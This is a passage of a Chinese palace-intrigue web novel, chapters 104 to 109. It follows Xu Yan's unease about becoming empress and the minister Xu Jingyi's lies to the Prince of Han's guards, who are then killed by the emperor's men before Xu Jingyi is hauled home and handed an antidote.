从前,她虽是宫中女眷,但亦是郑遂身边的“狗腿子”。 她是替郑遂里应外合的那个关键人物,即便不是男子,也算是郑遂的半个臣子,不可或缺的幕僚。 但是现在不同了。 她即将成为郑遂的皇后,成为后宫之中除了徐妙晴以外最有权势的那一个。 但是后宫,同样意味着不能干政。 郑遂表面上虽然是在说,她任何事情都不会欺瞒自己,暗中告知徐妍会像从前一样对待她,可实际上,却是在明里暗里的警告徐妍,不要动那些歪心思。 既然成为了皇后,那就只能踏踏实实的做一个后宫妇人。 从今往后,前朝的事和她已经没有半点关系了。 她要是还想参与其中,甚至暗中打听,那就是明晃晃的干政。 像徐妙晴那种,对于不该肖想的位置有了小心思的人,不能再有第二个了。 徐妍的身体开始忍不住颤抖了起来。 如今这个结果不让她满意吗? 可事实证明,这正是她曾经想要的。 第104章 还是怀念从前 徐妍的出身并不算好,她的父亲,是仅和徐敬意相差一岁的庶次子。 不过,她的父亲却半点都比不上徐敬若。 徐敬若自知自己身为庶子,不受待见,在官场之上更无建树。 他便干脆远离京城,自顾自的继承了徐家祖上留下来的生意,跑去江南一带。 直到如今朝堂上乱了套,徐敬若这才瞅准时机,赶回来分一杯羹。 而徐妍的生父,可是从始至终在家中没有任何的存在感。 他既在徐敬意的打压之下,不曾走上仕途,又没有徐敬若那样的魄力,宁愿背着商贾的二流身份,也要去做自己的事。 所以,徐妍虽为他的嫡女,但因父辈出身不高,后期又被持续打压,所以她在徐家向来是没有什么地位的。 这也是为什么,徐妍会被送进宫来,成为帮助监视郑遂的一个眼线,而后一步步的走到现在。 所以,徐妍对皇后的位置太渴望了。 她既然已与郑遂发生肌肤之亲,那这一生只怕也只有郑遂这一个男人了。 让她甘为非妾之位,徐妍自然无法接受。 那就只有皇后的位置能配得上。 郑遂承诺过她,如今也的确是兑现了,徐妍终于走到了自己最想要的位置上。 可她为什么不开心呢? 徐妍心里最清楚不过了。 因为她所以坐在天下大多女子都想做到的那个凤位之上,可却也失去了真正的权力。 她永生永世,都只能做郑遂背后的那个人。 郑遂若开心了,她就是与郑遂相敬如宾的皇后。 郑遂若不开心,随随便便的丢弃于后宫之中,空有名分地位,却得不到该有的尊重。 甚至更甚者,一旦做错了什么事,还可能会被打入冷宫,最严重连命都会丢了。 这天家富贵,看似容易得到,可想要守住,却是难上加难。 徐妍忽然就有点理解,为什么徐妙晴竟然敢冒天下之大不韪往皇位上爬了。 因为权力在自己手中,与别人赋予的权利是不同的。 而同为女子,徐妙晴虽然出身比自己尊贵的不知道有多少,又已经是太后之尊,可从某种意义上来讲,徐妙情又何尝不是一枚棋子,一个玩物,一个垫脚石? 郑遂想利用她,区区一个南宫治便能将她制服。 可他的出身不过就是一个贱奴! 徐妙晴如何能甘心?如何能甘心啊! 忽然,郑遂捏在徐妍下巴上的手收了收力气。 徐妍顿时感到一阵刺痛,猛然抬起头,冷汗涔涔的看向郑遂。 “你走神了。”郑遂笑着道。 随即他温柔地搂住徐妍,拉着她来到龙椅边,像往常那般让她坐在自己腿上。 可是这一回,徐妍确实再怎么也不敢了。 她猛然跪在地上,俯下身去:“陛下受罪,奴婢不敢。” “怎么还如此自称?”郑遂似笑非笑地看着徐妍,可实则却半点扶徐妍起来的意思都没有。 “记住,你是朕的皇后。” “陛下还未下旨册封,奴婢便不敢逾矩。” 徐妍俯下身躯,姿态放的无比卑微。 “陛下既然决定要将奴婢封为皇后,奴婢便愿等那一天。一日未到,奴婢也不敢行使皇后之权,更不敢以皇后之名自称。” 看着徐妍如此谨慎卑微,郑遂嘴角终于扯出一抹满意的笑容。 随后他向徐妍伸出手。 “起来吧,怎么搞的好像做错了什么事儿似的,朕又没有怪罪你的意思。” 徐妍缓缓抬起头,目光飞速扫过郑遂的脸。 确定郑遂没有任何动怒的意思,徐妍这才小心翼翼的把手递过去,搭在郑遂的掌心之中。 顺着郑遂的力道,徐妍慎之又慎地站起身来,却怎么也不敢上前一步。 郑遂嘴角的笑容变得更加意味深长了:“朕让你过来坐,怎么还不来?” “奴婢既然将要被册封为皇后,那便要守好皇后的本分。皇后乃是天下女子的表率,奴婢必须得守着规矩醒着神才行。” 看来徐妍很聪明,自己不过点了她几句,徐妍就知道该怎么办了。 这样的女人,郑遂用着才放心。 “让你过来你就过来。” 郑遂拉过徐妍的手,把她扯到了自己腿上坐下。 徐妍反抗不过郑遂如此大的力道,只能硬着头皮坐在了郑遂的膝盖上。 可是却怎么也找不到曾经两人依偎在一起的感觉了。 一时之间,徐妍忽然觉得心头有些空落落的。 若说她在这宫中过得最随心自在的时候,并非是郑遂真正下定决心,要将她册立皇后的那一天。 而是从前危机四伏,每一日都活在心机谋算之中时。 那个时候她与郑遂互相依偎着,哪怕徐妍也觉得是虚情假意,好像那个时候也只有彼此了。 想到此处,徐妍心中不由得觉得有些讽刺。 徐妍啊,徐妍,你就算是头回入宫,可从前你在徐家见到的阴谋诡计难道还不少吗? 这人与人之间,一旦掺杂上了利益纠葛,又何谈真情可言? 就算你与郑遂不是以这种方式相识,你只是外间一个普通的贵族女子,郑遂把你八抬大轿的娶进宫中,可你也应该知道,你的夫君不是普通人,他是皇帝。 只要是皇帝,就不应该幻想着皇帝能对自己有一丝真心。 而徐妍竟也不知,自己是从什么时候开始,真的对郑遂动了不该动的心思。 好久,徐妍才终于回过神来。 但却有些忍不住眼眶中的酸涩,和即将翻涌上来的热浪。 她连忙起身,随着郑遂行了一礼。 “陛下恕罪,奴婢身子有些不适,陛下,可否准奴婢回尚宫局休息?” “不必回尚宫局了。”郑遂说道。 “你人已经在宫中,若是此刻让你先回徐家,再进宫来,只怕也不方便。所以正打算开创先例,为你寻了一处僻静的宫殿。一会儿就让王喜带你去吧,一应侍奉你的仆从,也都已经备好了。你直接过去便是,若有什么不满意的直接与朕说,或是自行调动即可。” 徐妍如蒙大赦,连忙行礼。 “奴婢谢过陛下。” 随后便匆匆忙忙的离开。 第105章 简直粗鄙不堪 郑遂嘴角缓缓勾起一抹意味深长的笑容,随即对着一直候在一旁的王喜招了招手。 王喜忙恭敬的走过来,缓缓弯下腰。 “陛下吩咐。” “你去……”郑遂悠悠开口道。 “去通知赵川珩,今日,该给韩王点教训了。” 徐敬意魂不守舍的走出了皇宫。 他压根不敢去别的地方,甚至连回徐家的打算都没有。 就像个行尸走肉般,一步步艰难的往客栈的方向挪去。 他根本不想回去,一点都不想! 可是奈何韩王的爪牙就在那里等着自己,说不准不顾这里是皇城禁地,早就已经在暗中蹲守了。 只要徐敬意但凡敢露出半点想要另寻他路逃跑的意思,韩王的这些人定会毫不犹豫的冲上前,直接斩断了他的手脚。 徐敬意可太知道落在韩王的手里会是什么样的下场了。 韩王不会给他个痛快的,他只会让徐敬意生不如死。 让他受凌迟一般的痛苦,却也只能苟活着,直到他从徐敬意身上榨干最后一丝价值。 但徐敬意还是下意识的放慢了脚步一点点的往前蹭着,只想着这时间能再长一些,免得他回去还要面对韩王那些走狗的质问。 然而该来的还是要来,徐敬意好不容易蹭出了闹市区,一直悄悄尾随在暗处的韩王手下终于忍不住了,直接上前提了徐敬意的衣领就把他拖到了一旁的小巷里。 “磨磨蹭蹭的干什么?”韩王的手下呵斥道。 徐敬意被他训斥的下意识的一抖,脸上几乎是瞬间就露出了讨好的表情。 恨不得双手作揖的道:“大爷大爷您别动怒我这就是刚从宫里出来,有点回不过神,所以才走的慢了点。” 韩王手下不满地看了徐静的一眼,随即重重的推搡了徐敬意一下 “快着点!磨磨蹭蹭的干什么?” 徐敬意连连告饶,几乎像个小鸡崽子似的,被韩王的手下提溜着拽回了客栈之中。 刚被拖回了自己的房间之中,韩王的手下就严丝合缝的把徐敬意给围了起来。 几乎任何思考的时间都不留给徐敬意,为首那个就冷着脸问道。 “如何了?这般前去可有探到虚实?” 徐敬意就知道自己逃不过幸,而他早有准备,当下便毫不犹豫的说道:“当然有!当然有!” 徐敬意一点不打奔儿,生怕自己犹豫一秒就会被韩王的手下把狗头砍下来。 然后故作神秘的对着韩王手下的头领招了招手,说道:“您凑近过来一些。” 韩王手下皱了皱眉,面色严肃的凑近了徐敬意的面前。 但是右手明显搭在了自己腰间挎着的砍刀上,俨然一副徐敬意敢有半点图谋不轨之处,就立刻一刀把徐敬意砍了的意图。 徐敬意当即吓得一抖,下意识的把脖子往后缩了缩。 随即赶忙陪着笑道:“您别急呀,听我慢慢道来。这徐妙晴那边的动向,此次前去,我虽未完全打探清楚,可也是十有八九。” 徐敬意赶忙又往手下身边凑了凑,压着声音对他道:“那个徐妙晴身边多了个男宠,叫南宫治。这姓南宫之人,想来您应该有所耳闻。” 手下皱了皱眉,一脸不满的道。 “到底是谁?你说呀!我哪有功夫在这里和你扯什么弯弯绕绕。他姓南宫的是谁?跟我有屁的关系!说,怎么回事?” 徐敬意原本想卖卖关子的,结果却没想到对方如此粗鄙,说起话来丝毫不顾礼仪廉耻。 徐敬意虽然心中鄙夷,可也不敢有什么意见。 连忙加快了语速:“这徐妙晴啊,本是出身许家又是个女人,她能有几分的本事啊?她之所以能笼络了那些禁军,都是南宫治的功劳!” 手下忍不住皱紧了眉。 转头和同僚对视了一眼。 竟然还真是徐妙晴这个女人! 她好大的胆子啊,都已经身为太后之尊了,竟然还揣着这么多的心思。 且也一点儿都不藏着掖着,就这么明晃晃的把禁军都归于自己之手了。 她倒真不怕,被那些保皇党给发觉弹劾了她。 不过想一想,倒也觉得此事合情合理。 首先按照徐敬意的意思,这事并非全然都是徐妙晴的功劳,而是她身边那个男宠所为。 就算是真有一天,徐妙晴露出了马脚,首当其冲倒霉的也肯定是那个南宫治。 至于所谓的保皇党吗?他们之前被徐敬意所控制,现在全落到了韩王手中。 他们就算是想为郑遂那小皇帝使劲,也得有那个机会呀。 想到这里,手下忍不住微微一笑。 要说还是他们家韩王手段利落。 比起那个秦王高明了不知有多少。 也就秦王那个傻子,自己都没准备好,就打着清君侧的名义发动叛军入京了。 结果第一回被徐敬意打了个屁滚尿流只能滚回封地不说,第二回竟然还能被他们韩王所忽悠,三言两语的就把他给骗的不知所云,再次起兵谋反。 结果再次被那些禁军给收拾了个底朝天。 不过,他们没有得意多久,心就渐渐沉了下去。 这南宫治为何人? “少卖关子,为何徐妙晴都做不到的事,南宫治反而做到了?” “哎哟!你哪知道他是什么来路啊!”徐敬意一拍大腿。 随即把那个南宫治是前朝余孽,且对前朝皇室忠心耿耿的事倒了个底朝天。 韩王手下听的眉头越皱越紧,脸色也变得极其难看了起来。 就连徐敬意这般身份尊贵的人,都要花费好大的力气才能笼络来的禁军,结果竟被南宫治给轻而易举的利用了。 南宫治无非就是前朝的一个贱奴出身罢了!那算是个什么东西? “荒谬!世间岂有贱奴也能居于人上的道理?”韩王手下当即大怒,拍案而起。 徐敬意心中不禁生出鄙夷来。 瞧瞧这话说的,好像他们的身份多尊贵似的。 说的好听点,这是韩王身边的护卫头子,是保护韩王有功之人。 搞不好人家可能还想着等日后韩王登上皇位,他们还能混个御前侍卫或者是禁军统领啥的当当。 第106章 他笼络了地方政权 可实际上他们不也是贱奴出身吗?与那南宫治又有什么区别? 若非南宫一家,最后被贬至遍地流放,他们兴许还比不上如今的南宫治呢。 就连他们徐家如今如此风光,以前不也是二流商人。 反正也不知道怎么了,这一趟进宫见了南宫治之后,徐敬意反而想开了。 出身卑贱又能如何?既然那是板上钉钉的事实就也实在不必否认。 只要自己以后能居于人上,手握重拳,谁还敢对他说半个不字? 别说往后了,就是从前徐敬意最风光的时候,人人见了他不也得是奉承着,连屁都不敢放吗? 只要自己还能回归到如今风风光光的状态,这些个如今敢到自己面前贴。脸开大的建模,终有一天得乖乖跪在自己的脚底下俯首称臣。 不过面上,徐敬意还得做出一副恭敬的姿态来。 “大爷,您这句话就错了。南宫治虽为贱奴,可正因为他出身卑微才有胆子去做那些大逆不道之事。” 有句话说的好,光脚都不怕穿鞋的。 徐家之所以能走到今天,与祖上基业脱离不了关系。 而在徐敬意如今夸张的形容之中,南宫一家更是成为了流放边境后非但没有像世人所预料的那般,成为最卑贱的奴隶,反而养精蓄锐,于边境收拢了不少官府之人,还笼络了许多草寇,用于打拼天下的民间英雄了。 韩王手下听的冷笑连连,重的拍了好几下桌子。 “屁的民间英雄!不过逆贼罢了!与你这等小人有什么区别!” 听着韩王手下这毫不留情的训斥,徐敬意顿时脸色都绿了。 韩王是怎么教的他们呀? 好歹也是跟在韩王身边算得上是心腹的人了,怎么还说话如此粗鄙? 如今若不是自己落在他们的手里…… 可这些话徐敬意也只能想一想。 人家现在骂他,徐敬意不仅不能反抗,还得笑脸相迎呢。 于是连忙双手作揖道:“对对对,大爷您说的没错,这就是个逆贼。可问题是,即便人家是逆贼,确确实实收拢了不少地方政权。连我的手下都因此而被诱惑,转头投进了他们的怀抱中,这往后王爷的处境可就……” 徐敬意的话说了一半留一半,给足了这些韩王手下幻想的空间。 而对方的脸色已经变得极其难看起来。 前有郑遂,后有徐妙晴,如今又跑出来一个南宫治,这个是要让他们韩王在夹缝之中生存吗?! 现在这天底下蠢蠢欲动之人实在是太多了! “那你说如今该怎么办?”韩王手下没好气的问道。 徐敬意都愣了。 能咋办啊? 肯定是赶紧把这消息传回云州,让韩王来做决断。 他算个什么东西? 他如今在韩王那已经和个死人没有什么区别了。 就算还活着,那也是一条狗一条只能卑微的蜷缩于韩王的脚边。 人家心情好了就赏他点吃的,人家心情不好,一脚把他踹开也是理所当然。 这个时候来问他怎么办干啥? 韩王做主就是了呀! 徐静一边没有开口说话,可是韩王的手下却明显不满,直接抬脚就朝徐敬意踹了过去。 “让你说话你又不说了!” 徐敬意现在本来就身子骨不好,这会儿又被韩王的手下狠狠的踹了一脚,升级便感觉自己的肋骨都要断了,人也直接飞了出去,重重的摔倒在了床边。 徐敬意差点就要断气了。 费了好半天的力气,徐敬意才终于爬起身来,对着韩王手下便开始磕头。 “大爷大爷!您消消气!并非是我不说,我也是在想啊!” 韩王手下这才满意地哼了一声,再次大摇大摆地坐回了桌边,目光冷冽的瞪着徐敬意。 “说!” “既然如今南宫治手握的是地方政权,那韩王殿下就得抓紧点时间了。得把其他地方的政权都笼络过来,而且速度必须得比南宫治快!否则真让南宫治占了上风,一定会不遗余力地扶持徐妙晴。搞不好,等他势力发展到一定程度,连徐妙晴都会成为南宫治手中的傀儡,到时候,别说是咱们,就连郑遂也……” 韩王手下抿住了嘴唇,脸色变得极其难看了起来。 笼络政权? 这事儿韩王怎么可能没有想过? 但这能像是徐敬意说的那么轻松的吗? 徐敬意自己是花了多长时间才在潮中笼络了那么多朋党的,他自己心里没数吗? 还让韩王去找那些地方官员,让他们帮扶持自己,谈何容易啊! 而且,天底下又没有天上掉馅饼的好事。 更别提,天高皇帝远。 越是远离京城这个政治中心的地方政府,越是难以管束,而且他们吃拿卡要,已经成为习惯了。 韩王想要让他们与自己为伍,不得先拿出一些好处去吗? 可是荆州那苦寒之地能有什么东西? 韩王就是想拿,他也拿不出来呀。 就连他现在手中所拥有的这些,那也是积攒了多年,赌上自己的身家性命,拼得最后的成功了。 韩王手下越想脸色就越是难看。 连他们韩王殿下都做不到的事,那南宫治是如何做到的? 只怕是在流放边境的时候,发了什么不义之财吧? 可是问题也随之而来。 韩王手下阴森森的看向徐敬意,疑惑的开口问道。 “若像你所说,南宫一家已经开始冷落地方政权了,那为何要寻得如此偏僻之处的官员?” 要是他们能够忍耐一番,等到来到京城之后再加以安抚收拢,岂不是能寻得一些更加位高权重之人的帮助? 可事实是,南宫治根本就没有与徐敬意说这么多。 全都是徐敬意编排出来,故意诬陷南宫治的。 反正徐敬意不想暴露南宫治背后有前朝皇室宗族的帮助,他还想依靠南宫治。他也不想让南宫治和郑遂那么痛快,所以必须得当着韩王手下的面给他们上上眼药。 于是就编造出了一个南宫治笼络边境地方政权的谎言。 至于会不会有人去找他们算账,跟徐敬意有什么关系? 而且那地方那么偏远,韩王大概率是不会去的。 第107章 冒犯徐相了 这些个谎言是徐敬意早就在心里编排好的,就连一应的应对措施,徐敬意也早就想到了。 于是当下丝毫犹豫都没有,脱口便说道。 “我的爷,您把这事想的太简单了。就是因为边境的地方官员捞不到什么油水,只能靠搜刮边境百姓。他们没见过什么好东西,所以南宫治才能轻而易举的将他们拉拢到自己这边。但是到了京城可就不一样了……” 徐敬意分析的头头是道。 且不说京城这些朝廷官员之间关系错综复杂,有亲戚关系的,结为姻亲的,甚至本就是师生的,比比皆是。 他们怎么可能会被南宫治所轻易撼动。 南宫治总不能编排出一个身份吧? 这世家大族在世上都是有名有姓,随便一打听,便可确认南宫治来路不明。 那南宫治直接承认自己的身份? 更不可能了。 就单凭前朝余孽这四个字,都够南宫治吃不了兜着走了。 他前脚上门,后脚就会身首异处。 就算退一万步讲,真的有人肯为南宫治所用,那南宫治可以交换的好处呢? 总不能空口无凭,只许弄个事成之后再说吧。 京城中就没有穷鬼,谁会被南宫治那点小恩小惠所收买? 画大饼就更不可能了。 所以这才是南宫治收拢边境地方政权的关键所在。 韩王手下听的连连点头。 徐敬意说的有理的,这不就是问题最根本的原因吗? 徐敬意见他们已经忍不住点头了,心下不由得觉得有些得意。 看样子是他太把韩王当回事儿了。 虽然韩王自己行事果断,手段狠毒,但不代表他这些手下也是有脑子的呀。 自己不过是编排了一些谎言,这些个粗鄙的武夫就连想都不想,断然认可了自己的话,那往后自己行事,岂不是要方便许多? 于是徐敬意连忙趁热打铁,摆出一副苦口婆心的态度劝说到。 “你们还是尽快传信与韩王吧,至于要不要抓紧时间收拢地方官员,由韩王殿下说的算。但咱们不能瞻前顾后,不把此事告诉给韩王殿下吧?” 手下忍不住转头瞪了徐敬意一眼。 “这话还用得着你说?” 随后大手一挥,吩咐人都撤出去,把徐敬意的房门死死的守住。 然后才退了出去,看样子是准备去驿站发信了。 徐敬意这才起身,缓缓的坐回到了桌边,端起已经冷掉的茶水呷了一口。 相信了就好,他就也不用过于操心了。 但愿韩王那边也能如他这些手下一样。 不管是脑子忽然短路,还是走投无路,能顺着自己的话,赶着去收拢那些地方官员,徐敬意就有反咬一口的机会。 否则那韩王也太得意了! 而且,韩王如果真的如自己所愿,去做了这件事,也是相当于在无形之中给郑遂上了眼药。 虽然徐敬意现在没办法直接报复郑遂,但也绝对不能让郑遂那么好受! 徐敬意越想越得意,喝完了杯中最后一口茶水,便缓缓走回到了床边坐下。 癸七大约还是晚上来,所以徐敬意得养精蓄锐,等待癸七前来与自己相商要事。 可徐敬意才刚闭上眼睛,困意还未席卷上来,外头忽然就传来一阵嘈杂声。 徐敬意猛地睁开眼,紧接着就听到外头守门的高声呵斥。 “什么人?这里已经被我们盘下来了!闲杂人等不得入内。” 然而对方根本就没有回应他的话,只听铮的一声,紧接着便是兵戎相见的刺耳生响。 徐敬意猛地瞪大了眼睛。 什么情况? 怎么回事? 谁胆子这么大,竟然来客栈里找麻烦。 不对不对,这哪里是来客栈找麻烦,分明是来找韩王的麻烦的! 既然对方是直接朝着韩王而来,那目的是什么? 让韩王不那么痛快?让他知难而退? 还是说实则为难的是被关在客栈里的自己! 徐敬意当即便有些坐不住了,可他也不敢冒然出去。 加上一身武功已因为韩王下的毒药废掉,徐敬意更不敢贸然行动。 于是便只能凑到门边,用手指沾了口水,清清把糊门的纸捅出一个洞来。 弯下腰去,透过那个洞,小心翼翼的往外看。 这一看不要紧,却发现外头已经血流成河了。 那些个韩王的手下,甚至连反应的时间都没有,已经被突然闯进的黑衣人给扎了个对穿。 有些个虽然来得及发出怒吼或是惊呼声,但他们这一身本事在那些黑衣人眼里简直是不够看的。 哪怕同样是训练有素,面对着黑衣人招式利落的功夫时,却显得连三岁儿童都不如。 没几下的功夫,那些个韩王手下竟然就被杀了个干净。 店家和小二瑟瑟发抖的缩在柜台后边,屁都不敢放一个。 但是很显然,那些黑衣人并不打算拿他们怎么样? 只是冷冷的转头看了他们一眼,什么话都没有说。 徐敬意大惊失色。 完了完了,这不是废了吗? 估计这会子功夫,除了那些留在京城之外的少数人,以及刚刚去驿馆送信的那个以外,已经一个活口都不剩了。 不,不对! 还有一个呢! 不就是正缩在房间里,连大气都不敢喘的自己吗?! 外边的人都已经死干净了,那下一个会是谁呢? 徐敬意脑中刚刚冒出这个可怕的想法,房门忽然就被人从外边一脚踹开了。 徐敬意猝不及防,连人带门的直接飞了出去。 站在门口的黑衣人皱了皱眉,冷眼看着已经被踹飞到撞在另外一边墙壁上的徐敬意。 沉默了一会儿之后,他竟然对着徐敬意抱拳行了个礼。 “徐相恕罪,是我等以为这房间里仍有人把守,不想冒犯了徐相!” 徐敬意被摔得眼冒金星。 加上之前被韩王下的毒药,还在体内有不少残留,这一下子他险些直接断了气。 可当他看到面前之人非但没有对自己下手,反而露出那般恭敬的表情时,徐敬意直接傻了眼。 过了好半晌,他哆哆嗦嗦地开口道。 “你们、你们是什么人?” 第108章 救自己还是杀自己 几人直接提刀上前。 徐敬意当即就吓得往后狠狠瑟缩了一下,声音紧张的已经变了调。 “啥意思啊?干啥?要杀了我不成?” 却见那几人直接收刀,抱拳就对着徐敬意行了一礼。 “徐相莫慌,我等是陛下派来保护您的!奉陛下之命,现在要护送您回徐府。” 什么? 保护他? 这是保护他还是要害死他? 那么老多人,韩王那么多精锐,请客之间就已然被这些人给屠戮殆尽。 杀得身首异处,整个客栈都弥漫着一股浓重的血腥,徐敬意待在屋子里都觉得呛眼。 闹出这么大的动静,即便只是城边的客栈,可难道就不会被人发现吗? 那些留在城外的,等候消息的韩王其他的手下,还有刚刚那几个逃跑的,难道就不会跑回云州给韩王报信? 所有人都死了,就徐敬意一个人还没死。 又直接被救走了,大摇大摆的回到了徐府之中。 韩王会不会以为,这一切都是徐敬意安排的。 是他还有韩王没有发现的爪牙,装模作样,去宫里走了一番之后,直接派那些人把他的手下全给干掉了。 这不是扯犊子吗! 郑遂这是救自己还是坑自己呀? 他已然明白了郑遂的野心,可不知道这人还有狠心啊! 他简直比自己想象的还要可怕! 然而不等徐敬意开口,那几个彪形大汉就走上去。 像拎小鸡崽子一样,拖着徐敬意的衣领子把他扯了起来,大摇大摆的就朝外走去。 从客栈二楼客房的门口,到楼下大堂里,都是蜿蜒不尽的血迹。 徐敬意就这么被拖着,像条死狗一样在地上翻滚。 那些血迹沾了他满身,把他身上红色的蟒袍染成了褐色。 浓重的血腥味挥之不去,像是要粘在徐敬意身上似的。 徐敬意早已吓破了胆,一时间连对郑遂的痛恨都忘了。 徐敬意就这样被一路连拖带拽的拉回了徐府。 这些人嘴上说着是奉郑遂之命前来护送,可实际上,根本和押解没有什么区别。 甚至到了徐府门口,还根本不背人,直接就把徐敬意从马车上拖了下来。 当着满大街来来往往的人,丢在了门口。 随后粗声大气的去敲门。 自从徐敬意离京之后,这徐家可谓是经历了大起大落。 先是徐敬意在云州那些出格的举动被大肆宣扬了一番,整个京城都人尽皆知。 虽然皇帝并未表态,他们徐家人依旧是关起门来夹起尾巴做人。 即便暗地里,他们也在琢磨着要摆脱徐敬意,在朝堂之上寻一条新的出路。 但明面上,却是低调的不能再低调了。 而前些日子,皇宫中又传出郑遂重用徐敬意党羽的消息。 一时间舆论又开始偏向他们徐家人,又有不少人乌泱泱的围过来开始夸赞他们。 这一时间徐家人也摸不清楚头脑了,所以干脆继续闭门谢客,谁也不见。 甭管背地里使了什么手段,可只要明面上,他们是极为识时务,从来不给皇帝添乱的徐家人就行。 总之这会儿徐府门外门可罗雀,早已与徐敬意离开之前大相径庭。 而徐敬意的突然出现,明显和徐家这门庭冷落的模样形成了强烈对比。 一瞬间,就引起了不少人的注意。 拍门声很快就引来了里边的守门小厮。 小厮把门一打开,就发现外头站着几个身床身强体健的汉子,正板着面孔虎视眈眈的盯着他,当即就吓得浑身一颤,哆嗦着问道。 “几位大人,你们是从哪儿来呀?” 为首的大汉回身一指,手指的方向精准的落在了刚从地上爬起来,但依旧掩饰不住满身狼狈的徐敬意。 “奉陛下之令,护送徐相回家。” 随后便有俩人上前,一左一右的把徐敬意架了起来,直接送进了府中。 这些人嘴上客气,可行为上却一点都不客气,这一下子,险些把徐敬意推的摔了个大马趴。 徐敬意本想往小厮那边栽过去,好歹让他接自己一下,不至于搞得太难看。 可那小厮见徐敬意满身的狼狈,和个疯子似的,也是吓得下意识就躲开了。 徐敬意扑了个空,只能临时调转方向,踉踉跄跄的朝着一旁的大槐树砸了过去。 接着,他就撞了个眼冒金星。 但好在是身子稳住了,没有当着外边那么多围观人的面摔个狗吃屎。 此情此景,直接就把里里外外的人全都搞傻了。 他们也不瞎,能看得出来徐敬意身上沾的那些深色痕迹就是血。 如今又搞了这么几个提刀大汉前来送徐敬意回来,还是奉了皇命,再加之大家也不知道徐敬意是何时回来的,一时间便开始议论纷纷了起来。 这徐敬意是不是又在巡抚的路上做了什么大逆不道之事啊? 要不然怎么能被皇帝的手下打成这样呢? 还直接被提溜了回来,难不成这徐家马上就要被抄家灭族了? 那几个大汉也不做解释,任由百姓们继续议论,转身上了马车就扬长而去。 小厮这会儿才激灵一下,猛的回过神来,上前开始赶人。 “走走走,都在这围着干什么?回家去!该干嘛干嘛孤!” 然后砰的一声关紧了大门,上了门栓之后,这才敢回过头颤颤巍巍的看向徐敬意。 随后弯下腰,悄悄的凑过去,站在徐敬意身边小心翼翼的问他。 “相爷,您怎么回来了?这陛下是……” “少提他。”徐敬意怒吼。 现在都不需要郑遂真的做什么,只要一提起他的名字,徐敬意就足以被他气得火冒三丈,脸红脖子粗,恨不得就地去死。 死了还能得个痛快的! 可他郑遂分明就是钝刀子剌肉,还是凌迟! 徐敬意简直是生不如死! “还愣着干什么?赶紧扶本相回屋去呀!”徐敬意朝着小厮怒吼。 小厮这才猛的回过神来。 不对,这郑遂只是让人把徐敬意送了回来,并未说什么别的,那估计应该只是把他送回来而已,不是想要了徐敬意的命。 别瞧徐敬意如今形容狼狈落魄的跟街头乞丐似的,可丞相就是丞相,奴才就是奴才。 第109章 你斗不过他的 他就是有一百个脑袋也得罪不起徐敬意啊,于是连忙上前搀扶住了徐敬意,小心翼翼的扶着他,一点一点的往他的院子里挪去。 可还没走过前厅门廊,忽然又听到外头传来一阵拍门声。 紧接着,就是那大汗粗着嗓子的高呼。 “开门!开门!” 小厮吓了一跳,当即心都差点从嗓子眼里蹦出来。 咋回事?不是都走了吗? 总不能是这些人忘了郑遂的命令里还有一项是把徐敬意就立正法,所以特地撵着回来杀人的吧? 小厮动都不敢动,但是外边的人催的急。 “人呢?都去哪儿了?快开门了!” 小厮这回没了办法,只能小心翼翼地又蹭回了门边儿。 徐敬意也是满脸惊疑不定的看向门口。 这些人是疯了不成,到底要干啥呀? 青天白日的吵吵嚷嚷,真要将他们徐家颜面扫地不成? 小厮颤颤巍巍的打开了门,只见那大汉冷着一张脸,从腰间掏出一个与他手掌对比之下显得格外小巧玲珑的白瓷瓶。 然后高声对着里头的徐敬意道:”徐相此次巡抚辛苦!陛下已经特为您寻来了韩王给您下的那种毒的解药!还请您安心后续调理身体!陛下自会安排太医上门!” 紧接着,还拱手恭恭敬敬的对着徐敬意抱拳行了个礼,然后再次转身大摇大摆的离去。 徐敬意的脸都绿了,右半张脸控制不住的直抽抽。 他现在只恨自己为什么要生了眼睛,长了耳朵要让他亲自面对这难堪的一幕! 郑遂杀人就算了,怎么还当着这么多人的面直接把韩王给捅出去了呢? 韩王可不会相信是郑遂派的这些人在外头妖言惑众,把他的那些事竹筒倒豆子似的说了个干净! 他只会觉得自己位高权重,连郑遂都不得不对自己退让三分,就是他自己找了那些个人冒充郑遂的手下道出大肆宣扬的! 徐敬意突然就痛恨起了自己为什么刚才要落入这些大汉之手?为什么没有趁机跑出城? 去就算是爬!他也要爬回云州亲自告诉韩王:你误会我了!我就算再厉害也不过就是个小喽啰!真正有本事的,是坐在龙椅上那位呢!您想跟他斗?要么就趁早!要么就拼命!要么就放弃!否则早晚有你死无葬身之地的一天! 小厮站在门口,拿着那白瓷瓶愣了许久,这才想起来把沉重的大门再次关上,随后颤颤巍巍的走回来,小心翼翼的将那白瓷瓶递到了徐敬意的面前。 “相爷,这药您吃吗?” “吃个屁!”徐敬意怒吼一声,随后也顾不得自己身上还难受的紧了,连扶都不用人扶,就直接转身朝着自己的院子走去。 小厮站在原地,满脸纠结,根本不知道该怎么办才好。 扔,还是不扔呢? 走在前面的徐敬意忽然又停下了脚步来,转头没好气的瞪了那小厮一眼。 骂道:“蠢货。先把药拿进来找人看过了再说!” 之后又转身离开,边走边在心里骂着。 这自己一走不过几个月而已,怎么回来之后感觉徐家人个个都蠢的像猪一样? 难不成徐敬若那起子小人在京城大闹了一场,直接把徐家的脑子都给打成了浆糊吗? 可愤怒之余,更多的是讽刺。 徐敬意自己想着想着,就被气笑了。 是啊,他徐敬意自诩诡计多端,把谁都不放在眼里惯了,可前脚刚从韩王那吃了亏,后脚就碰上了个南宫治,又被告知郑遂玩他就跟小孩玩积木似的! 三方施压,这不是想让他死吗? 这种情况下谁还会有脑子,谁还敢有脑子! 徐敬意一路怒气冲冲地回到了自己的院子,终于一屁股坐在了熟悉的红木椅子上。 直到这会儿,徐敬意这才感觉自己的心安稳了一些。 小厮此刻也追了上来,捧着那个白瓷瓶小心翼翼的放在桌上。 “奴才去请大夫。”撂下这句,小厮就赶紧跑开了。 他可不敢在徐敬意面前停留。 万一这瓶是毒药可怎么办? 激怒了徐敬意,徐敬意可是真敢灌进他嘴里的呀! 他们奴才的命哪里是命? 恨只恨自己没跟个好主子,生死全凭主子的喜怒哀乐说了算,搞到现在连气儿都不敢喘一个! 而徐敬意的视线则缓缓落在了那白瓷瓶上,不禁皱起了眉。 韩王给自己下的可是慢性毒药,听他形容,这毒可厉害的很,不服解药,只有死路一条。 且这是韩王手里拿出来的东西,必然是独门秘方,郑遂是从哪里弄来的解药呢? 而且这也太快了吧。 自己白日才刚刚入宫,后脚郑遂就把这解药送到了自己面前。 